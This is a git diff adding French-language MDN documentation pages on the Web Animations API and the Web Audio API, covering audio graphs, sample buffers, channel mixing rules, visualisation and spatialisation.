+ <dt><font><font>{{domxref ("EffectTiming")}}</font></font></dt>
+ <dd><font><font>{{domxref ("Element.animate ()")}}, {{domxref ("KeyframeEffectReadOnly.KeyframeEffectReadOnly ()")}} et {{domxref ("KeyframeEffect.KeyframeEffect ()")}} acceptent tous un dictionnaire facultatif objet des propriétés de synchronisation.</font></font></dd>
+</dl>
+
+<h2 id="Extensions_à_dautres_interfaces"><font><font>Extensions à d'autres interfaces</font></font></h2>
+
+<p><font><font>L'API Web Animations ajoute de nouvelles fonctionnalités à {{domxref ("document")}} et {{domxref ("element")}}.</font></font></p>
+
+<h3 id="Extensions_à_l_Documentinterface"><font><font>Extensions à l' </font></font><code>Document</code><font><font>interface</font></font></h3>
+
+<dl>
+ <dt><font><font>{{domxref ("document.timeline")}}</font></font></dt>
+ <dd><font><font>L' </font></font><code>DocumentTimeline</code><font><font>objet représentant la chronologie du document par </font><font>défaut.</font></font></dd>
+ <dt><font><font>{{domxref ("document.getAnimations ()")}}</font></font></dt>
+ <dd><font><font>Renvoie un tableau d'objets {{domxref ("Animation")}} actuellement en vigueur sur les éléments du </font></font><code>document</code><font><font>.</font></font></dd>
+ <dt>
+ <h3 id="Extensions_à_l_Elementinterface"><font><font>Extensions à l' </font></font><code>Element</code><font><font>interface</font></font></h3>
+ </dt>
+ <dt><font><font>{{domxref ("Element.animate ()")}}</font></font></dt>
+ <dd><font><font>Une méthode de raccourci pour créer et lire une animation sur un élément. </font><font>Il renvoie l'instance d'objet {{domxref ("Animation")}} créée.</font></font></dd>
+ <dt><font><font>{{domxref ("Element.getAnimations ()")}}</font></font></dt>
+ <dd><font><font>Renvoie un tableau d'objets {{domxref ("Animation")}} affectant actuellement un élément ou qui sont programmés pour le faire à l'avenir.</font></font></dd>
+</dl>
+
+<h2 id="Caractéristiques"><font><font>Caractéristiques</font></font></h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col"><font><font>spécification</font></font></th>
+   <th scope="col"><font><font>Statut</font></font></th>
+   <th scope="col"><font><font>Commentaire</font></font></th>
+  </tr>
+  <tr>
+   <td><font><font>{{SpecName ('Web Animations')}}</font></font></td>
+   <td><font><font>{{Spec2 ('Web Animations')}}</font></font></td>
+   <td><font><font>Définition initiale</font></font></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_également"><font><font>Voir également</font></font></h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API/Using_the_Web_Animations_API"><font><font>Utilisation de l'API Web Animations</font></font></a></li>
+ <li><a href="https://mozdevs.github.io/Animation-examples/"><font><font>Démos d'animations Web</font></font></a></li>
+ <li><a href="https://github.com/web-animations/web-animations-js"><font><font>Polyfill</font></font></a></li>
+ <li><font><a href="https://birtles.github.io/areweanimatedyet/"><font>Implémentation</font></a><font> actuelle de Firefox: </font></font><a href="https://birtles.github.io/areweanimatedyet/"><font><font>AreWeAnimatedYet</font></font></a></li>
+ <li>
+  <p><a href="http://codepen.io/danwilson/pen/xGBKVq"><font><font>Test de prise en charge du navigateur</font></font></a></p>
+ </li>
+</ul>
diff --git a/files/fr/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html b/files/fr/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html
new file mode 100644
index 0000000000..bf0a5112b8
--- /dev/null
+++ b/files/fr/web/api/web_audio_api/basic_concepts_behind_web_audio_api/index.html
@@ -0,0 +1,346 @@
+---
+title: Les concepts de base de la Web Audio API
+slug: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API
+translation_of: Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API
+---
+<div class="summary">
+<p><span class="seoSummary">Cet article explique une partie de la théorie sur laquelle s'appuient les fonctionnalités de la Web Audio API. Il ne fera pas de vous un ingénieur du son, mais vous donnera les bases nécessaires pour comprendre pourquoi la Web Audio API fonctionne de cette manière, et vous permettre de mieux l'utiliser.</span></p>
+</div>
+
+<h2 id="Graphes_audio">Graphes audio</h2>
+
+<p>La Web Audio API implique d'effectuer le traitement du son dans un <strong>contexte </strong> <strong>audio</strong>; elle a été conçue sur le principe de <strong>routage modulaire</strong>. Les opérations basiques sont effectuées dans <strong>noeuds audio</strong>, qui sont liés entre eux pour former un <strong>graphe de routage audio</strong>. Un seul contexte peut supporter plusieurs sources — avec différentes configurations de canaux. Cette architecture modulaire assure la flexibilité nécessaire pour créer des fonctions audio complexes avec des effets dynamiques.</p>
+
+<p>Les noeuds audio sont liés au niveau de leur entrée et leur sortie, formant une chaîne qui commence avec une ou plusieurs sources, traverse un ou plusieurs noeuds, et se termine avec une sortie spécifique (bien qu'il ne soit pas nécessaire de spécifier une sortie si, par exemple, vous souhaitez seulement visualiser des données audio). Un scénario simple, représentatif de la Web Audio API, pourrait ressembler à ceci :</p>
+
+<ol>
+ <li>Création d'un contexte audio</li>
+ <li>Dans ce contexte, création des sources — telles que <code>&lt;audio&gt;</code>, oscillateur, flux</li>
+ <li>Création des noeuds d'effets, tels que réverb, filtres biquad, balance,  compresseur</li>
+ <li>Choix final de la sortie audio, par exemple les enceintes du système </li>
+ <li>Connection des sources aux effets, et des effets à la sortie.</li>
+</ol>
+
+<p><img alt="Diagramme simple composé de trois rectangles intitulés Sources, Effets et Sortie, reliés par des flèches, de gauche à droite, qui indiquent le sens du flux d'informations audio." src="https://mdn.mozillademos.org/files/12525/webaudioAPI.svg" style="display: block; height: 143px; margin: 0px auto; width: 643px;"></p>
+
+<p>Chaque entrée ou sortie est composée de plusieurs <strong>canaux, </strong>chacun correspondant à une configuration audio spécifique. Tout type de canal discret est supporté, y compris <em>mono</em>, <em>stereo</em>, <em>quad</em>, <em>5.1</em>, etc.</p>
+
+<p><img alt="Diagramme qui montre comment les AudioNodes sont reliés par leurs entrées et sorties, et la configuration des canaux à l'intérieur de ces entrées/sorties." src="https://mdn.mozillademos.org/files/12235/audionodes.svg" style="display: block; height: 360px; margin: 0px auto; width: 630px;"></p>
+
+<p>Les sources audio peuvent être de provenance variée :</p>
+
+<ul>
+ <li>générées directement en JavaScript avec un noeud audio (tel qu'un oscillateur)</li>
+ <li>créées à partir de données PCM brutes (le contexte audio a des méthodes pour décoder les formats audio supportés)</li>
+ <li>fournies par une balise HTML media (telle que {{HTMLElement("video")}} ou {{HTMLElement("audio")}})</li>
+ <li>récupérées directement avec <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} (une webcam ou un microphone)</li>
+</ul>
+
+<h2 id="Données_audio_ce_qu'on_trouve_dans_un_échantillon">Données audio: ce qu'on trouve dans un échantillon</h2>
+
+<p>Lors du traitement d'un signal audio, <strong>l'échantillonage</strong> désigne la conversion d'un <a href="http://en.wikipedia.org/wiki/Continuous_signal" title="Continuous signal">signal continu</a> en <a class="mw-redirect" href="http://en.wikipedia.org/wiki/Discrete_signal" title="Discrete signal">signal discret</a>; formulé autrement, une onde de son continue, comme un groupe qui joue en live, est convertie en une séquence d'échantillons (un signal temporel discret) qui permet à l'ordinateur de traiter le son en blocs distincts.</p>
+
+<p>On peut trouver davantage de détails sur la page Wikipedia <a href="https://fr.wikipedia.org/wiki/%C3%89chantillonnage_(signal)">Echantillonage (signal)</a>.</p>
+
+<h2 id="Mémoire_tampon_trames_échantillons_et_canaux">Mémoire tampon : trames, échantillons et canaux</h2>
+
+<p>Un {{ domxref("AudioBuffer") }} prend comme paramètres un nombre de canaux (1 pour mono, 2 pour stéréo, etc), une longueur, qui correspond au nombre de trames d'échantillon dans la mémoire tampon, et un taux d'échantillonage, qui indique le nombre de trames d'échantillons lues par seconde.</p>
+
+<p>Un échantillon est une valeur float32 unique, qui correspond à la valeur du flux audio à un point précis dans le temps, sur un canal spécifique (gauche ou droit dans le cas de la stéréo). Une trame, ou trame d'échantillon est l'ensemble de toutes les valeurs pour tous les canaux (deux pour la stéréo, six pour le 5.1, etc.)  à un point précis dans le temps.</p>
+
+<p>Le taux d'échantillonage est le nombre d'échantillons (ou de trames, puisque tous les échantillons d'une trame jouent en même temps) qui sont joués en une seconde, exprimés en Hz. Plus le taux d'échantillonage est élevé, meilleure est la qualité du son.</p>
+
+<p>Prenons deux {{ domxref("AudioBuffer") }}, l'un en mono et l'autre en stéréo, chacun d'une durée de 1 seconde et d'une fréquence de 44100Hz:</p>
+
+<ul>
+ <li>le mono aura 44100 échantillons, et 44100 trames. Sa propriété <code>length</code> vaudra 44100.</li>
+ <li>le stéréo aura 88200 échantillons, et 44100 trames. Sa propriété <code>length</code> vaudra aussi 44100, puisqu'elle correspond au nombre de trames.</li>
+</ul>
+
+<p><img alt="Le diagramme montre une succession de tames dans un buffer audio. Comme le buffer est composé de deux canaux (stéréo), chaque trame contient deux échantillons." src="https://mdn.mozillademos.org/files/12489/sampleframe.svg" style="height: 110px; width: 622px;"></p>
+
+<p>Lorsqu'un noeud de mémoire tampon est lu, on entend d'abord la trame la trame la plus à gauche, puis celle qui la suit à droite, etc. Dans le cas de la stéréo, on entend les deux canaux en même temps. Les trames d'échantillon sont très utiles, car elles représentent le temps indépendamment du nombre de canaux.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Pour obtenir le temps en secondes à partir du nombre de trames, diviser le nombre de trames par le taux d'échantillonage. Pour obtenir le nombre de trames à partir du nombre d'échantillons, diviser le nombre d'échantillons par le nombre de canaux.</p>
+</div>
+
+<p>Voici quelques exemples simples:</p>
+
+<pre class="brush: js">var contexte = new AudioContext();
+var memoireTampon = contexte.createBuffer(2, 22050, 44100);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <strong>44,100 <a href="https://en.wikipedia.org/wiki/Hertz" title="Hertz">Hz</a></strong> (que l'on peut aussi écrire <strong>44.1 kHz</strong>) est un <a href="https://en.wikipedia.org/wiki/Sampling_frequency" title="Sampling frequency">taux d'échantillonage</a> couramment utilisé. Pourquoi 44.1kHz ?<br>
+ <br>
+ D'abord, parce ce que le <a href="https://en.wikipedia.org/wiki/Hearing_range" title="Hearing range">champ auditif</a> qui peut être perçu par des oreilles humaines se situe à peu près entre 20 Hz et 20,000 Hz, et que selon le <a href="https://en.wikipedia.org/wiki/Nyquist%E2%80%93Shannon_sampling_theorem" title="Nyquist–Shannon sampling theorem">théorème d'échantillonage de Nyquist–Shannon</a> la fréquence d'échantillonage doit être supérieure à deux fois la fréquence maximum que l'on souhaite reproduire; le taux d'échantillonage doit donc être supérieur à 40 kHz.<br>
+ <br>
+ De plus, le signal doit être traité par un <a href="https://en.wikipedia.org/wiki/Low-pass_filter" title="Low-pass filter">filtre passe-bas</a> avant d'être échantilloné, afin d'éviter le phénomène d'<a href="https://en.wikipedia.org/wiki/Aliasing" title="Aliasing">aliasing</a>, et, si en théorie un  filtre passe-bas idéal devrait être capable de laisser passer les fréquences inférieures à 20 kHz (sans les atténuer) et de couper parfaitement les fréquences supérieures à 20 kHz, en pratique une <a href="https://en.wikipedia.org/wiki/Transition_band" title="Transition band">bande de transition</a> dans laquelle les fréquences sont partiellement atténuées est nécessaire. Plus la bande de transition est large, plus il est facile et économique de faire un <a href="https://en.wikipedia.org/wiki/Anti-aliasing_filter" title="Anti-aliasing filter">filtre anti-aliasing</a>. Le taux d'échantillonage 44.1 kHz laisse une bande de transition de 2.05 kHz.</p>
+</div>
+
+<p>Ce code génère une mémoire tampon stéréo (deux canaux) qui, lorsqu'elle est lue dans un AudioContext à 44100Hz (configuration répandue, la plupart des cartes sons tournant à cette fréquence), dure 0.5 secondes: 22050 trames / 44100Hz = 0.5 secondes.</p>
+
+<pre class="brush: js">var contexte = new AudioContext();
+var memoireTampon = context.createBuffer(1, 22050, 22050);</pre>
+
+<p>Ce code génère une mémoire tampon mono (un seul canal) qui, lorsqu'elle est lue dans un AudioContext à 44100Hzz, est automatiquement *rééchantillonnée* à 44100Hz (et par conséquent produit 44100 trames), et dure 1.0 seconde: 44100 frames / 44100Hz = 1 seconde.</p>
+
+<div class="note">
+<p><strong>Note</strong>: le rééchantillonnage audio est très similaire à la redimension d'une image : imaginons que vous ayiez une image de 16 x 16, mais que vous vouliez remplir une surface de 32x32: vous la redimensionnez (rééchantillonnez). Le résultat est de qualité inférieure (il peut être flou ou crénelé, en fonction de l'algorithme de redimensionnement), mais cela fonctionne, et l'image redimensionnée prend moins de place que l'originale. C'est la même chose pour le rééchantillonnage audio — vous gagnez de la place, mais en pratique il sera difficle de reproduire correctement des contenus de haute fréquence (c'est-à-dire des sons aigus).</p>
+</div>
+
+<h3 id="Mémoire_tampon_linéaire_ou_entrelacée">Mémoire tampon linéaire ou entrelacée</h3>
+
+<p>La Web Audio API utilise un format de mémoire tampon linéaire : les canaux gauche et droite sont stockés de la façon suivante :</p>
+
+<pre>LLLLLLLLLLLLLLLLRRRRRRRRRRRRRRRR (pour un buffer de 16 trames)</pre>
+
+<p>C'est assez courant dans le traitement audio, car cela permet de traiter facilement chaque canal de façon indépendante.</p>
+
+<p>L'alternative est d'utiliser un format entrelacé:</p>
+
+<pre>LRLRLRLRLRLRLRLRLRLRLRLRLRLRLRLR (pour un buffer de 16 trames)</pre>
+
+<p>Ce format est communément utilisé pour stocker et lire du son avec très peu de traitement, comme par exemple pour un flux de  MP3 décodé.<br>
+ <br>
+ La Web Audio API expose *uniquement* des buffer linéaires, car elle est faite pour le traitement du son. Elle fonctionne en linéaire, mais convertit les données au format entrelacé au moment de les envoyer à la carte son pour qu'elles soient jouées. A l'inverse, lorsqu'un MP3 est décodé, le format d'origine entrelacé est converti en linéaire pour le traitement.</p>
+
+<h2 id="Canaux_audio">Canaux audio</h2>
+
+<p>Une mémoire tampon audio peut contenir différents nombres de canaux, depuis les configurations simple mono (un seul canal) ou stéréo (canal gauche et canal droit) en allant jusquà des configurations plus complexe comme le quad ou le 5.1, pour lesquels chaque canal contient plusieurs échantillons de sons, ce qui permet une expérience sonore plus riche. Les canaux sont généralement représentés par les abbréviations standard  détaillées dans le tableau ci-après :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><em>Mono</em></td>
+   <td><code>0: M: mono</code></td>
+  </tr>
+  <tr>
+   <td><em>Stereo</em></td>
+   <td><code>0: L: gauche<br>
+    1: R: droit</code></td>
+  </tr>
+  <tr>
+   <td><em>Quad</em></td>
+   <td><code>0: L: gauche<br>
+    1: R: droit<br>
+    2: SL: surround gauche<br>
+    3: SR: surround droit</code></td>
+  </tr>
+  <tr>
+   <td><em>5.1</em></td>
+   <td><code>0: L: gauche<br>
+    1: R: droit<br>
+    2: C: centre<br>
+    3: LFE: subwoofer<br>
+    4: SL: surround gauche<br>
+    5: SR: surround droit</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Conversion_ascendante_et_descendante">Conversion ascendante et descendante</h3>
+
+<p>Lorsque le nombre de canaux n'est pas le même en entrée et en sortie, on effectue une conversion ascendante ou descendante selon les règles suivantes. Cela peut être plus ou moins controllé en assignant la valeur <code>speakers</code> ou <code>discrete</code> à la propriété {{domxref("AudioNode.channelInterpretation")}} .</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Interprétation</th>
+   <th scope="col">Canaux d'entrée</th>
+   <th scope="col">Canaux de sortie</th>
+   <th scope="col">Règles de conversion</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="1" rowspan="13" scope="row"><code>speakers</code></th>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><code>2</code> <em>(Stéréo)</em></td>
+   <td><em>Conversion ascendante de mono vers stéréo</em>.<br>
+    Le canal d'entrée <code>M</code> est utilisé pour les deux canaux de sortie (<code>L</code> et <code>R</code>).<br>
+    <code>output.L = input.M<br>
+    output.R = input.M</code></td>
+  </tr>
+  <tr>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><code>4</code> <em>(Quad)</em></td>
+   <td><em>Conversion ascendante de mono vers quad.</em><br>
+    Le canal d'entrée <code>M</code> est utilisé pour les canaux de sortie autres que surround (<code>L</code> et <code>R</code>). Les canaux de sortie surround (<code>SL</code> et <code>SR</code>) sont silencieux.<br>
+    <code>output.L = input.M<br>
+    output.R = input.M<br>
+    output.SL = 0<br>
+    output.SR = 0</code></td>
+  </tr>
+  <tr>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><em>Conversion ascendante de mono vers 5.1.</em><br>
+    Le canal d'entrée <code>M</code> est utilisé pour le canal de sortie central (<code>C</code>). Tous les autres canaux (<code>L</code>, <code>R</code>, <code>LFE</code>, <code>SL</code>, et <code>SR</code>) sont silencieux.<br>
+    <code>output.L = 0<br>
+    output.R = 0</code><br>
+    <code>output.C = input.M<br>
+    output.LFE = 0<br>
+    output.SL = 0<br>
+    output.SR = 0</code></td>
+  </tr>
+  <tr>
+   <td><code>2</code> <em>(Stéréo)</em></td>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><em>Conversion descendante de stéréo vers mono</em>.<br>
+    Les deux canaux d'entrée (<code>L</code> et <code>R</code>) sont combinées pour produire l'unique canal de sortie (<code>M</code>).<br>
+    <code>output.M = 0.5 * (input.L + input.R)</code></td>
+  </tr>
+  <tr>
+   <td><code>2</code> <em>(Stéréo)</em></td>
+   <td><code>4</code> <em>(Quad)</em></td>
+   <td><em>Conversion ascendante de stéréo vers quad.</em><br>
+    Les canaux d'entrée <code>L</code> et <code>R </code>input sont utilisés pour leurs équivalents respectifs non-surround en sortie (<code>L</code> et <code>R</code>). Les canaux de sortie surround (<code>SL</code> et <code>SR</code>) sont silencieux.<br>
+    <code>output.L = input.L<br>
+    output.R = input.R<br>
+    output.SL = 0<br>
+    output.SR = 0</code></td>
+  </tr>
+  <tr>
+   <td><code>2</code> <em>(Stéréo)</em></td>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><em>Conversion ascendante de stéréo vers 5.1.</em><br>
+    Les canaux d'entrée <code>L</code> et <code>R </code>sont utilisés pour leurs équivalents respectifs non-surround en sortie (<code>L</code> et <code>R</code>). Les canaux de sortie surround (<code>SL</code> et <code>SR</code>), ainsi que le canal central (<code>C</code>) et le canal subwoofer (<code>LFE</code>) restent silencieux.<br>
+    <code>output.L = input.L<br>
+    output.R = input.R<br>
+    output.C = 0<br>
+    output.LFE = 0<br>
+    output.SL = 0<br>
+    output.SR = 0</code></td>
+  </tr>
+  <tr>
+   <td><code>4</code> <em>(Quad)</em></td>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><em>Conversion descendante de quad vers mono</em>.<br>
+    Les quatre canaux de sortie (<code>L</code>, <code>R</code>, <code>SL</code>, et <code>SR</code>) sont  combinés pour produire l'unique canal de sortie (<code>M</code>).<br>
+    <code>output.M = 0.25 * (input.L + input.R + </code><code>input.SL + input.SR</code><code>)</code></td>
+  </tr>
+  <tr>
+   <td><code>4</code> <em>(Quad)</em></td>
+   <td><code>2</code> <em>(Stéréo)</em></td>
+   <td><em>Conversion descendante de quad vers stéréo</em>.<br>
+    Les deux canaux d'entrée à gauche (<code>L</code> and <code>SL</code>) sont combinés pour produire l'unique canal de sortie à gauche (<code>L</code>). De la même façon, les deux canaux d'entrée à droite (<code>R</code> et <code>SR</code>) sont combinés pour produire l'unique canal de sortie à droite (<code>R</code>).<br>
+    <code>output.L = 0.5 * (input.L + input.SL</code><code>)</code><br>
+    <code>output.R = 0.5 * (input.R + input.SR</code><code>)</code></td>
+  </tr>
+  <tr>
+   <td><code>4</code> <em>(Quad)</em></td>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><em>Conversion ascendante de quad vers 5.1.</em><br>
+    Les canaux d'entrée <code>L</code>, <code>R</code>, <code>SL</code>, et <code>SR</code> sont utilisés pour leur canaux de sortie équivalents respectifs (<code>L</code> and <code>R</code>). Le canal central (<code>C</code>) et le canal subwoofer (<code>LFE</code>) restent silencieux.<br>
+    <code>output.L = input.L<br>
+    output.R = input.R<br>
+    output.C = 0<br>
+    output.LFE = 0<br>
+    output.SL = input.SL<br>
+    output.SR = input.SR</code></td>
+  </tr>
+  <tr>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><code>1</code> <em>(Mono)</em></td>
+   <td><em>Conversion descendante de 5.1 vers mono.</em><br>
+    Les canaux de gauche (<code>L</code> et <code>SL</code>), de droite (<code>R</code> et <code>SR</code>) et central sont tous mixés ensemble. Les canaux surround sont légèrement atténués et la puissance des canaux latéraux est compensée pour la faire compter comme un seul canal en la multipliant par <code>√2/2</code>. Le canal subwoofer (<code>LFE</code>) est perdu.<br>
+    <code>output.M = 0.7071 * (input.L + input.R) + input.C + 0.5 * (input.SL + input.SR)</code></td>
+  </tr>
+  <tr>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><code>2</code> <em>(Stéréo)</em></td>
+   <td><em>Conversion descendante de 5.1 vers stéréo.</em><br>
+    Le canal central (<code>C</code>) est additionné avec chacun des canaux latéraux  (<code>SL</code> et <code>SR</code>) puis combiné avec chacun des canaux latéraux (L et R). Comme il est converti en deux canaux, il est mixé à une puissance inférieure : multiplié par <code>√2/2</code>. Le canal subwoofer (<code>LFE</code>) est perdu.<br>
+    <code>output.L = input.L + 0.7071 * (input.C + input.SL)<br>
+    output.R = input.R </code><code>+ 0.7071 * (input.C + input.SR)</code></td>
+  </tr>
+  <tr>
+   <td><code>6</code> <em>(5.1)</em></td>
+   <td><code>4</code> <em>(Quad)</em></td>
+   <td><em>Conversion descendante de 5.1 vers quad.</em><br>
+    Le canal central (<code>C</code>) est combiné avec les canaux latéraux non-surround (<code>L</code> et <code>R</code>). Comme il est converti en deux canaux, il est mixé à une puissance inférieure : multiplié par <code>√2/2</code>. Les canaux surround restent inchangés. Le canal subwoofer (<code>LFE</code>) est perdu.<br>
+    <code>output.L = input.L + 0.7071 * input.C<br>
+    output.R = input.R + 0.7071 * input.C<br>
+    <code>output.SL = input.SL<br>
+    output.SR = input.SR</code></code></td>
+  </tr>
+  <tr>
+   <td colspan="2" rowspan="1">Autres configurations non-standard</td>
+   <td>Les configurations non-standard sont traitées comme si la propriété <code>channelInterpretation</code> avait la valeur <code>discrete</code>.<br>
+    La spécification autorise explicitement la définition à venir de nouvelles configurations de sortie pour les enceintes. Ce cas de figure  n'est par conséquent pas garanti dans le futur, car le comportement des navigateurs pour un nombre spécifique de canaux pourrait être amené à changer.</td>
+  </tr>
+  <tr>
+   <th colspan="1" rowspan="2" scope="row"><code>discrete</code></th>
+   <td rowspan="1">tout (<code>x</code>)</td>
+   <td rowspan="1">tout (<code>y</code>) pour lequel <code>x&lt;y</code></td>
+   <td><em>Conversion ascendante de canaux discrets.</em><br>
+    Remplit chaque canal de sortie avec son équivalent en entrée, c'est-à-dire le canal qui a le même index. Les canaux de sortie qui n'ont pas d'équivalent en entrée restent silencieux.</td>
+  </tr>
+  <tr>
+   <td rowspan="1">tout (<code>x</code>)</td>
+   <td rowspan="1">tout (<code>y</code>) pour lequel <code>x&gt;y</code></td>
+   <td><em>Conversion descendante de canaux discrets.</em><br>
+    Remplit chaque canal de sortie avec son équivalent en entrée, c'est-à-dire le canal qui a le même index. Les canaux d'entrée qui n'ont pas d'équivalent en sortie sont perdus.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Visualisations">Visualisations</h2>
+
+<p>Une visualisation audio consiste en général à utiliser un flux de données audio dans le temps (souvent des informations de gain ou de fréquence) pour générer un affichage graphique (comme un graphe). La Web Audio API possède un {{domxref("AnalyserNode")}} qui n'altère pas le signal audio qui le traverse, permettant de générer des données qui peuvent être utilisées par une technologie de visualisation telle que {{htmlelement("canvas")}}.</p>
+
+<p><img alt="Le noeud permet de récupérer la fréquence et le domaine temporel en utilisant FFT, et ce sans modifier le flux audio" src="https://mdn.mozillademos.org/files/12493/fttaudiodata.svg" style="height: 206px; width: 693px;"></p>
+
+<p>On peut accéder aux données en utilisant les méthodes suivantes:</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatFrequencyData()")}}</dt>
+ <dd>Copie les données de fréquence dans le tableau {{domxref("Float32Array")}} passé en argument.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getByteFrequencyData()")}}</dt>
+ <dd>Copies les données de fréquence dans le tableau d'octets non signés {{domxref("Uint8Array")}} passé en argument.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatTimeDomainData()")}}</dt>
+ <dd>Copie les données de l'onde de forme, ou domaine temporel, dans le {{domxref("Float32Array")}} passé en argument.</dd>
+ <dt>{{domxref("AnalyserNode.getByteTimeDomainData()")}}</dt>
+ <dd>Copie les données de l'onde de forme, ou domaine temporel, dans le tableau d'octets non signés {{domxref("Uint8Array")}} passé en argument.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: Pour plus d'informations, voir notre article <a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a>.</p>
+</div>
+
+<h2 id="Spatialisations">Spatialisations</h2>
+
+<div>
+<p>Une spatialisation audio (gérée par les noeuds {{domxref("PannerNode")}} et {{domxref("AudioListener")}} dans la Web Audio API) permet de modéliser la position et le comportement d'un signal audio situé dans l'espace, ainsi que l'auditeur qui perçoit ce signal.</p>
+
+<p>La position du panoramique est décrite avec des coodonnées cartésiennes selon la règle de la main droite, son mouvement à l'aide d'un vecteur de vélocité (nécessaire pour la création d'effets Doppler) et sa direction avec un cone de direction. Le cone peut être très large, par exemple dans le cas de sources omnidirectionnelles.</p>
+</div>
+
+<p><img alt="Le PannerNode donne la position dans l'espace, la vélocité et la direction d'un signal donné" src="https://mdn.mozillademos.org/files/12495/pannernode.svg" style="height: 340px; width: 799px;"></p>
+
+<div>
+<p>La position de l'auditeur est décrite avec des coodonnées cartésiennes selon la règle de la main droite,  son mouvement à l'aide d'un vecteur de vélocité et la direction vers laquelle elle pointe en utilisant deux vecteurs de direction : haut et face. Ceux-ci définissent respectivement la direction vers laquelle pointent le haut de la tête et le bout du nez de l'auditeur, et forment un angle droit entre eux.</p>
+</div>
+
+<p><img alt="On voit la position d'un auditeur, ainsi que les vecteurs de direction haut et de face qui forment un angle de 90°" src="https://mdn.mozillademos.org/files/12497/listener.svg" style="height: 249px; width: 720px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: For more information, see our <a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">Web audio spatialization basics</a> article.</p>
+</div>
+
+<h2 id="Fan-in_et_Fan-out">Fan-in et Fan-out</h2>
+
+<p>En audio, <strong>fan-in</strong> désigne le processus par lequel un {{domxref("ChannelMergerNode")}} prend une série d'entrées mono entrée et restitue un seul signal multi-canaux :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12505/fanin.svg" style="height: 258px; width: 325px;"></p>
+
+<p><strong>Fan-out</strong> désigne le processus opposé, par lequel un {{domxref("ChannelSplitterNode")}} prend une source multi-canaux en entrée et restitue plusieurs signaux mono en sortie:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12507/fanout.svg" style="height: 258px; width: 325px;"></p>
diff --git a/files/fr/web/api/web_audio_api/index.html b/files/fr/web/api/web_audio_api/index.html
new file mode 100644
index 0000000000..1c7af0c519
--- /dev/null
+++ b/files/fr/web/api/web_audio_api/index.html
@@ -0,0 +1,488 @@
+---
+title: Web Audio API
+slug: Web/API/Web_Audio_API
+translation_of: Web/API/Web_Audio_API
+---
+<div>
+<p><span style="line-height: 1.5;">La Web Audio API propose un système puissant et flexible pour contrôler les données audio sur internet. Elle permet notamment de sélectionner des sources audio (microphone, flux media), d'y ajouter des effets, de créer des visualisations, d'appliquer des effets de spatialisation (comme la balance), etc.</span></p>
+</div>
+
+<h2 id="Concepts_et_usages">Concepts et usages</h2>
+
+<p><span style="line-height: 1.5;">La Web Audio API effectue des opérations dans un <strong>contexte audio</strong>; elle a été conçue pour supporter le <strong>routing modulaire</strong>. Les opérations audio basiques sont réalisées via des <strong>noeuds audio</strong> reliés entre eux pour former un <strong>graphe de routage audio</strong>. Plusieurs sources - avec différents types d'agencements de canaux - peuvent être supportées, même dans un seul contexte. Ce design modulaire et flexible permet de créer des fonctions audio complexes avec des effets dynamiques.</span></p>
+
+<p><span style="line-height: 1.5;">Les noeuds audio sont reliés au niveau de leurs entrées et sorties, formant des chaînes ou des réseaux simples. Il peut y avoir une ou plusieurs sources. Les sources fournissent des tableaux d'intensités sonores (échantillons), souvent plusieurs dizaines de milliers par seconde. Ceux-ci peuvent être calculées mathématiquement </span>(avec un {{domxref("OscillatorNode")}}), ou peuvent provenir de fichiers sons ou vidéos (comme {{domxref("AudioBufferSourceNode")}} ou {{domxref("MediaElementAudioSourceNode")}}) ou de flux audio ({{domxref("MediaStreamAudioSourceNode")}}). En réalité, les fichiers sons sont eux-même des enregistrements d'intensités sonores, qui viennent de microphones ou d'instruments électriques, et sont mixés dans une seule onde complexe.</p>
+
+<p>Les sorties de ces noeuds peuvent être liées aux entrées d'autres noeuds, qui mixent ces flux d'échantillons sonores ou les séparent en différents flux. Une modification courante est la multiplications des échantillons par une valeur afin d'en augmenter ou diminuer le volume sonore (comme c'est le cas pour le {{domxref("GainNode")}}). Le son est ensuite lié à une destination ({{domxref("AudioContext.destination")}}), qui l'envoie aux enceintes ou au casque audio. Cette dernière connexion n'est utile que si le son doit être entendu.<br>
+ <br>
+ Un processus de développement typique avec web audio ressemble à ceci :</p>
+
+<ol>
+ <li>Création d'un contexte audio</li>
+ <li>Dans ce contexte, création des sources — comme <code>&lt;audio&gt;</code>, oscillator, stream</li>
+ <li>Création de noeuds d'effets, comme la réverbération, les filtres biquad, la balance, le compresseur</li>
+ <li>Choix de la sortie audio (appelée destination), par exemple les enceintes du système</li>
